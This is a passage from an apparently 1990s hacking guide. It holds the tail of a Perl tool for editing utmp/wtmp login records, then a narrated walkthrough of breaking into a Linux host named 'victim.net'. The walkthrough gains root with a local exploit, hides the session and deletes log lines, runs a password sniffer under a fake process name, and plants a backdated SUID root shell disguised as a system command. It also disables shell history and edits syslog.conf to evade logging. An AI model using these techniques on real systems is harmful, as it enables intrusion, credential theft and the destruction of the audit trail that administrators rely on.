print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
readfile("$utmp_location");
print("\nutmpman: $active_file> ");
while () {
process_cmd(split);
print("\nutmpman: $active_file> ");
}
sub process_cmd {
return if (!defined(@_));
my(@line) = map { lc($_) } @_;
$_ = shift(@line);
SWITCH: {
/^check$/ && do {
check_func(@line);
last SWITCH;
};
/^delete$/ && do {
del_func(@line);
last SWITCH;
};
/^help$/ && do {
help_func();
last SWITCH;
};
/^insert$/ && do {
ins_func(@line);
last SWITCH;
};
/^list$/ && do {
list_func(@line);
last SWITCH;
};
/^read$/ && do {
read_func(@line);
last SWITCH;
};
/^write$/ && do {
write_func(@line);
last SWITCH;
};
/^quit|exit$/ && exit(0);
# DEFAULT.
print ("Invalid command.\n");
}
}
# HELP
sub help_func {
print << "EOM";
utmpManager Help
----------------
Note: - is an argument.
- [id=] is a token which expects a value as part of command
(ie, insert id=p5 user=root 11/23/96). See the insert command.
- A line is the full name to the tty port, ie ttyp0.
- An id is the *unique* representation of the port
(without the tty, etc), ie "p0" (for ttyp0).
check
- Perform user consistancy check. Use this to make sure that the data in
utmp agrees with who is actually on the machine. This is useful in
determining if a user is online with hidden ports, running nohup'd
processes, or running iScreen.
delete -
- Delete entries #x to #y.
delete host
- Delete *all* entries which match the substring .
delete line|id
- Delete entry containing or .
insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
- Insert an entry into utmp/wtmp files specifying any combination
of id/line, type, username, host, connection time, and logoff time.
(LogoffTime only valid for WTMP files.)
list host
- List all entries matching the substring .
list line|id
- List all entries matching or .
read utmp|wtmp|
- Read entries from either default wtmp, default utmp, or an arbitrary
filename. Note: arbitrary filenames MUST start with either "utmp" or
"wtmp" to be used with this editor. Rename files *outside* of this
editor if necessary. If read is executed without any arguments, it
rereads the last given filename, which is displayed on the prompt.
write {filename}
- Write entries to file {filename}. If write is executed without any
arguments, then entries will be written to the last given filename,
which is displayed on the prompt.
EOM
}
# DELETE
sub del_func {
my(@params) = @_;
if (!push(@_)) {
print("delete :: Not enough parameters. See \"help\" for syntax.\n");
return undef;
} elsif ($params[0] =~ /host|user|id|line/) {
del_by_data(@_);
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
del_by_range($params[0]);
} elsif ($params[0] =~ m/^(\d+)$/) {
del_by_range("$1-$1");
}
# Renumber list after delete operation.
resync();
}
sub del_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi, $count)=($1, $2, 0);
$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));
foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
delete($entries{$_});
$count++;
}
}
print "$count entries deleted.\n";
}
sub del_by_data {
my($op, $data) = @_;
my($count) = 0;
if ((length($data) < 5) && ($op eq "host")) {
print "Must specify at least 5 characters for delete hostmask.\n";
return undef;
} elsif (((length($data) > 4) && ($op eq "id"))||
((length($data) > 11) && ($op eq "line"))) {
print "Invalid $op specified.\n";
return undef;
}
# Note: If we are deleting by user, then user must match, *exactly*!
$data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
foreach (sort( { $a <=> $b } keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
delete($entries{$_});
++$count;
}
}
if (!$count) {
print "No $op entries matching $data.\n";
} else {
print "$count entries deleted.\n";
}
}
# INSERT
# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
# Date2 Time2 = DateTime2 => (see above)
# user=
# host=
# id= | line=
#
# utmp:
# insert {id=|line=} [type=] [user=] [host=] [DateTime]
# wtmp:
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
sub ins_func {
my(%cmdopt)={};
my($datetime1, $datetime2, $gmdate, $gmdate2);
# Get random pid out of the way.
$cmdopt{"pid"} = int(rand(32656)+100);
$cmdopt{"addr"} = pack("a4", "");
# Get command options.
foreach (@_) {
if (/=/) {
local($key, $value)=split(/=/);
$cmdopt{$key} = $value;
} else {
if (!defined($datetime1)) {
$datetime1 = $_;
next;
}
if (!defined($datetime2)) {
$datetime2 = $_ ;
next;
}
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
}
# Check for an illegal pair or illegal option.
foreach (keys(%cmdopt)) {
if (!(/^host|id|line|type|user|addr$/)) {
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) {
print "insert :: LAST option only valid for utmp files.\n";
return undef;
}
}
# Get date in seconds since 1970.
$gmdate = SecsSince1970($datetime1);
# Get ending date in seconds since 1970.
$gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
print "insert :: Invalid date specified.\n";
return undef;
}
if (defined($gmdate2)) {
if ($gmdate2 < $gmdate) {
print "insert :: First date/time must be *later* than second date/time.\n";
return undef;
}
}
if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
return undef;
}
my($op);
if (!defined($cmdopt{"id"})) {
$cmdopt{"id"} = $cmdopt{"line"};
$op = "line";
if (!($cmdopt{"id"} =~ s/^$ttybase//)) {
print "insert :: Invalid line specified.\n";
return undef;
}
} else {
$cmdopt{"line"} = $ttybase . $cmdopt{"id"};
$op = "id";
}
if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
return undef;
}
my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?
(pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
my($epos1, $npos1, $epos2, $npos2) = ();
my($oldpos, $count)=("", 0);
foreach (sort( { $a <=> $b } keys(%entries))) {
if ($active_file =~ m!/*utmp[^/]*$!i) {
# Handle utmp insertion by line insertion.
if (%{$entries{$_}}->{$op} eq $searchdata) {
printf ("insert :: $op $searchdata already exists at position $_\n");
# This needs to check every option in %cmdopt for defined or null.
$count = 0;
foreach (qw(user host time)) {
if (defined($cmdopt{$_})) {
$count++ if ($cmdopt{$_} ne "");
}
}
if (!$count) {
printf ("insert :: No other data specified. Entry unchanged.\n");
return undef;
}
last;
}
} else {
# Handle wtmp insertion by time position. (Messy)
$epos1 = $oldpos if (defined($npos1) && !defined($epos1));
$npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
last if (!defined($gmdate2) && defined($epos1));
$epos2 = $oldpos if (defined($npos2));
$npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
last if (defined($epos2));
}
$oldpos = $_;
}
# Set any unspecified defaults.
$cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"});
$cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
$cmdopt{"type"} = 7 if !defined($cmdopt{"type"});
# Determine end of list insertion positions. (IE, dates entered are after
# dates in wtmp file or line/id not found in utmp file.
$epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
if (defined($datetime2)) {
$epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
++$epos2 if (defined($gmtime2) && !defined($npos1));
}
# Parse insert data and insert entry.
$epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
$epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
if (defined($npos2) && defined($gmdate2));
# Insert first entry.
$cmdopt{"time"} = $gmdate;
@{$entries{$epos1}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
if (defined($epos2)) {
$cmdopt{"user"} = pack("a8", "");
$cmdopt{"host"} = pack("a16","");
$cmdopt{"id"} = pack("a4", "");
$cmdopt{"time"} = $gmdate2;
@{$entries{$epos2}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
}
resync();
}
# LIST
sub list_func {
my(@params) = @_;
if (!push(@_) || ($params[0] eq "all")) {
list_by_range("-");
return 0;
} elsif ($params[0] =~ /^host|user|id|line$/) {
list_by_data(@_);
return 0;
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
list_by_range($params[0]);
return 0;
} elsif ($params[0] =~ m/^(\d+)$/) {
list_by_range("$1-$1");
return 0;
}
print ("list :: Error in parameters. See \"help\" for syntax.\n");
return undef;
}
sub list_by_data {
my($op, $data) = @_;
my($count) = 0;
foreach (sort( {$a <=> $b} keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
list_entry($_);
++$count;
}
}
print "No $op entries matching $data.\n" if (!$count);
}
sub list_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi)=($1, $2);
$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));
foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
list_entry($_);
}
}
}
sub list_entry {
printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
printf(" %s/%s", @{$entries{$_}}{qw(id line)});
printf(": %s ", %{$entries{$_}}->{"user"})
if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
printf("from %s", %{$entries{$_}}->{"host"})
if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
}
print ("\n");
printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"})
if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
}
# printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
# now *that's* cool :-)
# should be like this: @{$v}{qw(time id line user host)}
# I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#
# READ
sub read_func {
my($arg)=shift;
$arg = $utmp_location if ($arg eq "utmp");
$arg = $wtmp_location if ($arg eq "wtmp");
$arg = $active_file if (!defined($arg));
if ($arg !~ m!/*[uw]tmp[^/]*$!) {
print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
return undef;
}
readfile($arg);
}
# WRITE
sub write_func {
my($file)=shift;
my($count)=0;
$file = $active_file if (!defined($file));
if ($file !~ m!/*[uw]tmp[^/]*$!) {
print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
return undef;
}
if (!open(OUTFILE, ">$file")) {
print ("write :: Can't open $file for output.\n");
return undef;
}
binmode(OUTFILE);
foreach (sort( { $a <=> $b } keys(%entries))) {
printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4",
@{$entries{$_}}{qw(type pid line id time user host addr)}));
$count++;
}
print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
close(OUTFILE);
}
# CHECK
sub check_func {
if (push(@_)) {
print "check :: Invalid options specified. Please see \"help\"\n";
return undef;
}
if ($active_file !~ m!/*utmp[^/]*$!) {
print "check :: Command can only be run on utmp files.\n";
return undef;
}
# Build struct of ports containing port name, device num and owner.
# Note: Test run in grepstr may *not* be portable for all Unix
# types. Be forewarned! This was designed for Linux.
# Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
# should return the same as what you expect in "struct utmp->ut_id".
my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
my(%ports) = {};
my($user, $rdev) = ();
opendir(DEVDIR, "/dev");
my(@devfiles) = readdir(DEVDIR);
@devfiles = grep(/$grepstr/, @devfiles);
close(DEVDIR);
foreach (@devfiles) {
/^$ttybase([$ttyrange][$ttyports])$/;
if (!defined($1)) {
print "check :: Warning! Could not extract port ID from $_.\n";
} else {
($user, $rdev) = (stat("/dev/$_"))[4, 6];
$user = getpwuid($user);
$ports{$1} = newport($_, $rdev, $user);
}
}
# Check ownership of /dev ports.
my(@logdev)=();
foreach (sort(keys(%ports))) {
push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
}
@logdev = sort(@logdev);
# Check utmp (against ports detected as logged in);
my(@logutmp)=();
foreach (sort( { $a <=> $b } keys(%entries))) {
if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) {
push(@logutmp, %{$entries{$_}}->{"id"})
if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
(%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
(%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
(%{$entries{$_}}->{"pid"} > 0))));
}
}
@logutmp = sort(@logutmp);
# Check PIDs (find processes with active port ids)
opendir(PIDDIR, "/proc");
my(%processes) = {};
my(@portprocesses) = ();
foreach (grep(/\d+/, readdir(PIDDIR))) {
local($procdata, $cmdline);
open(PROCFILE, ";
close(PROCFILE);
if (-e "/proc/$_/stat") {
local($cmdline, $devnum, $portid);
($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
# Remove surrouding () from command name.
$cmd =~ s/[\(\)]//g;
$portid = dev2id(\%ports, $devnum);
if (defined($portid)) {
push(@portprocesses, $portid)
if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
$processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
}
}
}
close(PIDDIR);
# A port is *not* logged in if there is no dev entry for port, no utmp entry
# and no active processes.
my(@validshellports) = ();
foreach (sort( { $a <=> $b} keys(%processes))) {
push(@validshellports, %{$processes{$_}}->{"port"})
if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
!defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
}
# Remove ports with valid shells from list of ports with active processes.
my(@noshellports) =
sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
@validshellports = sort(@validshellports);
print "Ports with active /dev files: @logdev\n"
if (defined(@logdev));
print "Ports with utmp entries: @logutmp\n"
if (defined(@logutmp));
print "Ports with valid shells: @validshellports\n"
if (defined(@validshellports));
print "Ports with active processes and *no* shells: @noshellports\n"
if (defined(@noshellports));
}
# GENERAL
sub readfile {
local($file);
$file = shift;
my($index)=1;
my($buffer)="";
# Insure we have a clean hash table before we start reading in the file.
foreach (keys(%entries)) {
undef(%{$entries{$_}});
delete(${entries{$_}});
}
open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
binmode(UTMPFILE);
# 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).
while (read(UTMPFILE, $buffer, 56)) {
$entries{$index++} = newutmp($buffer);
}
$active_file = $file;
print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
close(UTMPFILE);
}
sub newutmp {
my($newbuff) = shift;
my($longaddr) = 0;
$newnode = bless {
"type" => undef, "pid" => undef, "line" => undef, "id" => undef,
"time" => undef, "user" => undef, "host" => undef, "addr" => undef
}, 'UTMPNODE';
@{$newnode}{qw(type pid line id time user host addr)}=
unpack("i L a12 a4 L a8 a16 a4", $newbuff);
return $newnode;
}
sub newport {
$newnode = bless {
"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
}, 'PORTNODE';
@{$newnode}{qw(port rdev owner)} = @_;
return $newnode;
}
sub newproc {
$newnode = bless {
"cmd" => undef, "port" => undef,
}, 'PROCNODE';
@{$newnode}{qw(cmd port)} = @_;
return $newnode;
}
# Renumber hashes to default order.
sub resync {
my(%newhash) = ();
my($count)=0;
# Write ordered list in to temporary hash, deleting as we go.
foreach (sort( {$a <=> $b} keys(%entries))) {
$newhash{++$count} = $entries{$_};
delete($entries{$_});
}
# Copy elements back in to original hash table.
foreach (sort( {$a <=> $b} keys(%newhash))) {
$entries{$_} = $newhash{$_};
}
}
sub longtodot4 {
my($addr)=shift;
return join(".", map( ord($_), split(//, $addr)));
}
sub dev2id {
my($portlist, $rdev) = @_;
foreach (sort(keys(%{$portlist}))) {
return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
}
return undef;
}
sub listpos {
my($arrayref, $search) = @_;
my($count) = 0;
$^W = 0;
foreach (@{$arrayref}) {
return $count if ($search eq ${$arrayref}[$count]);
$count++;
}
$^W = 1;
return undef;
}
### DATE ROUTINES
# The following code taken & modified from the Date::Manip package.
# Here is his copyright:
#
## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
## This program is free software; you can redistribute it and/or modify it
## under the same terms as Perl itself.
sub SecsSince1970 {
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
my($datetime) = shift;
my($m,$d,$y,$h,$mn,$s) = ();
# If date is not defined, then return local current date and time.
return time() if (!defined($datetime));
$datetime =~
s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
$m--;
# Finalize time components and check them.
$y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);
# This checks for any *non-matched* portion of $datetime. If there is such
# an animal, then there is illegal data specified. Also screens for undefined
# components which HAVE to be in ANY valid date/time (ie, month, day, year).
return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));
# Set time components with unspecified values.
$s = 0 if (!defined($s));
$mn = 0 if (!defined($mn));
$h = 0 if (!defined($h));
# Check for ranges.
return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));
# Begin conversion to seconds since 1/1/70.
my($sec_now,$sec_70)=();
$sec_now=DaysSince999($m,$d,$y);
return undef if (!defined($sec_now));
$sec_now--;
$sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
$sec_70 =30610224000;
return ($sec_now-$sec_70);
}
sub DaysSince999 {
my($m,$d,$y)=@_;
my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
my($cc,$yy)=();
$y=~ /^(\d{2})(\d{2})$/;
($cc,$yy)=($1,$2);
# Number of full years since Dec 31, 0999
$Ny=$y-1000;
# Number of full 4th years (incl. 1000) since Dec 31, 0999
$N4=int(($Ny-1)/4)+1;
$N4=0 if ($y==1000);
# Number of full 100th years (incl. 1000)
$N100=$cc-9;
$N100-- if ($yy==0);
# Number of full 400th years
$N400=int(($N100+1)/4);
# Check to insure that information returns a valid day of year.
$dayofyear=dayofyear($m,$d,$y);
return undef if (!defined($dayofyear));
# Compute day of year.
$days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
return $days;
}
sub dayofyear {
my($m,$d,$y)=@_;
my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
my($daynum,$i)=();
$daysinmonth[1]=29 if (!($y % 4));
# Return error if we are given an invalid date.
return undef if ($d > $daysinmonth[$m]);
$daynum=0;
for ($i=1; $i<$m; $i++) {
$daynum += $daysinmonth[$i];
}
$daynum += $d;
return $daynum;
}
## END DATE ROUTINES.
# End of script.
0;
--------------------- end of utmpman.pl
-------------------------
Chapter VI
Cleaning the log files
-------------------------
------------------------------
Section 6A
A walk around a hacked system
-------------------------------
I can't stress the importance of this enough! Clean, Clean!!!! In this section
I will take you on the system first hand and show you some basics on what to
look for, and on how to wipe your presence from the system. To start this lets
logon a system:
Here is the step by step through the basic process:
******----> see who is on the machine
[/home/master]finger @victim.net
[victim.net]
No one logged on.
******----> good no one on, we will log on
[/home/master]telnet victim.net
Trying xxx.206.xx.140...
Connected to victim.net.
Escape character is '^]'.
Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
Kernel 1.2.13 on a i586
ns.victim.net login: jnsmith
Password:
Linux 1.2.13.
You have new mail.
******----> Don't read his mail, you can cat all mail in /var/spool/mail
and in each users /home/username/mail directory
******----> Check again to see if anyone is on
[jnsmith@ns jnsmith]$ w
5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00
User tty login@ idle JCPU PCPU what
jnsmith ttyp1 5:35am w
******----> Just me, lets get root and get lost in the utmp!
[jnsmith@ns jnsmith]$ cd .term
******----> Nice directory to hide stuff ;)
[jnsmith@ns .term]$ ./.u
******----> I had this already waiting, it was the umounc.c exploit
Discovered and Coded by Bloodmask and Vio, Covin 1996
******----> We are now root, lets use z2 to become invisible
bash# z2 jnsmith
Zap2!
******----> Let's see if we are still on ...
bash# w
5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01
User tty login@ idle JCPU PCPU what
******----> Hmm. now there is no one on the system, i must have logged off ;)
******----> We know we are root, but lets check you you can see ...
bash# whoami
root
bash#
******----> Yup, root .. What directory are we in?
bash# pwd
/home/jnsmith/.term
******----> Let's check the logs
bash# cd /var/log
******----> most of the time in /var/adm, this box uses /var/log
bash# grep dormroom *
maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
******----> Yup, the z2 took care of everything but this maillog ...
bash# pico maillog
******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to
delete lines
******----> These were the lines deleted
Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
bash# grep dormroom *
******----> Yup .. all clear ;)
bash# w
5:41am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00
User tty login@ idle JCPU PCPU what
******----> Yup .. all clear here too ;)
******----> Lets show you how you would use lled and wted if the grep would
have shown something in those files
bash# cd ~jnsmith/.term
bash# lled
bash# lled -c dormroom.playhouse
Entries stored: 527 Entries removed: 0
Now chmod lastlog.tmp and copy over the original /var/log/lastlog
******----> Nothing in the lastlog
bash#
bash# wted -e jnsmith
Entries stored: 254 Entries removed: 0
Now chmod wtmp.tmp and copy over the original /var/log/wtmp
******----> Nothing in the wtmp, both of these would have shown in the grep
we just did in the /var/log (just showing you the commands)
******----> Lets do some sniffing ...
bash# pico linsniffer.c
******----> I changed this line to tell where i want the log to go:
#define TCPLOG "/tmp/.pinetemp.000"
******----> lets look at what is running to think of a name that
looks almost like it belongs there
bash# ps -aux
root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd)
root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd)
root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D
root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty)
root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty)
root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty)
root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty)
root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty)
root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update)
root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush)
root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd
root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd
root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd
root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named
root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty)
root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd
******----> lets compile it and name it nmb
bash# gcc linsniffer.c -o nmb
******----> lets load it ...
bash# nmb&
[1] 22171
******----> lets check the log file in /tmp
bash#
bash# cd /tmp
bash# ls -al .pin*
total 15691
-rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000
******----> There it is, but we don't want our login to know about it!
bash# chgrp root .pin*
******----> Lets look now ....
bash# ls -al .pin*
-rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000
bash#
******----> This is good, Lets make an SUID shell so we don't have to
do this again. (check for MD5 or other programs in the cron)
bash# cd /bin
bash# ls -l sh
lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash
******----> This is a sym link ...
bash# ls -l bash
-rwxr-xr-x 1 root root 299296 Nov 2 1995 bash
******----> here is the real file ... lets see what to name it that
looks like it belongs
bash# ls
arch df ksh ping tar
ash dmesg ln ps tcsh
bash dnsdomainname login pwd true
cat domainname ls red ttysnoops
chgrp echo mail rm umount
chmod ed mkdir rmdir uname
chown false mknod sed vi
cp findterm more setserial view
cpio gunzip mount sh vim
csh gzip mt stty zcat
date hostname mv su zsh
dd kill netstat sync
******----> How about a new command in linux, most admin's won't know
the difference ;) We will call it findhost
bash# cp bash findhost
******----> ok, now lets have a look at our new unix command ...
bash# ls -l findhost
-rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost
******----> We need to change the group owner, touch the file date,
and make it SUID
bash# chgrp root findhost
bash# ls -l findhost
-rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost
bash# chmod +s findhost
bash# ls -l findhost
-rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost
bash# touch -t 111312331995 findhost
bash# ls -l findhost
-rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost
bash# ls -l m*
-rwxr-xr-x 1 root root 64400 Oct 31 1995 mail
-rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir
-rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod
-rwxr-xr-x 1 root root 20272 Nov 1 1995 more
-rwsr-xr-x 1 root root 26192 Nov 1 1995 mount
-rwxr-xr-x 1 root root 8381 Oct 31 1995 mt
-rwxr-xr-x 1 root root 12753 Nov 2 1995 mv
******----> Now it looks like it belongs ... lets see if
it gives us root, exit our current root shell..
bash# exit
[jnsmith@ns .term]$ cd /bin
[jnsmith@ns /bin]$ whoami
jnsmith
[jnsmith@ns /bin]$ findhost
[jnsmith@ns /bin]# whoami
root
[jnsmith@ns /bin]# cd
******----> cd {enter} takes us back to our home dir
[jnsmith@ns jnsmith]# ls
mail
[jnsmith@ns jnsmith]# echo + +>test
[jnsmith@ns jnsmith]# ls -l
total 2
drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail
-rw-rw-r-- 1 root root 4 Jan 29 06:11 test
******----> See now we are uid=0 gid=0
[jnsmith@ns jnsmith]# rm test
******----> clean as we go .....
[jnsmith@ns jnsmith]# w
6:12am up 18 days, 8:58, 0 users, load average: 0.07, 0.02, 0.00
User tty login@ idle JCPU PCPU what
******----> Just making sure we are still alone ....
[jnsmith@ns jnsmith]# ls -al /tmp/.p*
total 15692
-rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000
******----> were getting passwords already ;)
[jnsmith@ns jnsmith]# ls -al
total 32
drwxrwx--- 5 jnsmith jnsmith 1024 Jan 29 06:11 .
drwxr-xr-x 33 root users 1024 Jan 22 16:53 ..
-rw-r----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults
lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history -> /dev/null
-rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout
-rw-r--r-- 1 root jnsmith 220 Jan 1 03:12 .bash_profile
-rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc
-rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc
drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term
drwxr-x--- 2 jnsmith jnsmith 1024 Feb 17 1996 .xfm
drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail
[jnsmith@ns jnsmith]#
******----> Make sure you place this sys link .bash_history to /dev/null so
you do not leave a history behind...
This is the command to do it, but make sure you delete the old .bash_history
if it is there.
ln -s /dev/null .bash_history
Ok logout ...
Ok, there is another way!!!!!!
If you can remember and make it a practice that you NEVER forget, get used to
this.... EVERY TIME you login to an account type: unset HISTFILE
This will tell the system to delete your history file when you logoff the
system... USE THIS! Get into the practice! DON'T FORGET!
-----------
Section 6B
messages and syslog
-----------
In the log directory you will find a file called 'messages' each system is
different as far as what is logged to what files or what file name. Make
sure to check in the /etc/syslog.conf file for additional logging to
remote machines. If this is being done you will see something like this:
*.* @somehostname.xxx
Or just to check and see where the log files are going you can view this file
/etc/syslog.conf.
Here is a sample...
bash# more syslog.conf
# /etc/syslog.conf
# For info about the format of this file, see "man syslog.conf" (the BSD man
# page), and /usr/doc/sysklogd/README.linux.
#
# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
# I don't know why.
#
*.=info;*.=notice /var/adm/messages
*.=debug /var/adm/debug
*.warn /var/adm/syslog
*.warn /root/.../syslog
*.=crit;kern.none /var/adm/critical
kern.info;kern.!err /var/adm/kernel-info
mail.*;mail.!=info /root/.../mail
mail,news.=info /root/.../info
mail.*;mail.!=info /var/adm/mail
mail,news.=info /var/adm/info
*.alert root,bob
*.=info;*.=notice @quality.com
*.=debug @quality.com
*.warn @quality.com
*.=crit;kern.none @quality.com
kern.info;kern.!err @quality.com
mail.*;mail.!=info @quality.com
mail,news.=info @quality.com
Here some of the logs are going into a hidden directory in the /root directory
and a copy of every alert and warning are being also sent to the logs at
quality.com. wtmp, utmp and lastlog are still local, so you can still be
ok, just make sure not to use 'su' on a system like this. Also notice above
that alert messages are being mailed to root and bob on this system.
Also take note that syslog, mail, and, info are being sent to the /var/adm
directory to fool you into thinking all of the logs are in /var/adm! If you
edit /var/adm the admin can run a diff on the backup files in the /root dir.
Ok, so you go to the /var/adm or /var/log directory and:
grep yourhost * |more
grep your ip * |more
you see that some files are logging your connection, mark down what files
are logging you and edit the /etc/syslog.conf file. You will from trial
and error in most cases make it skip the logging process of your domain.
BUT, make sure to do a few things. After you edit the file restart the
syslogd. You can do this by doing a ps -x
$root> ps -x
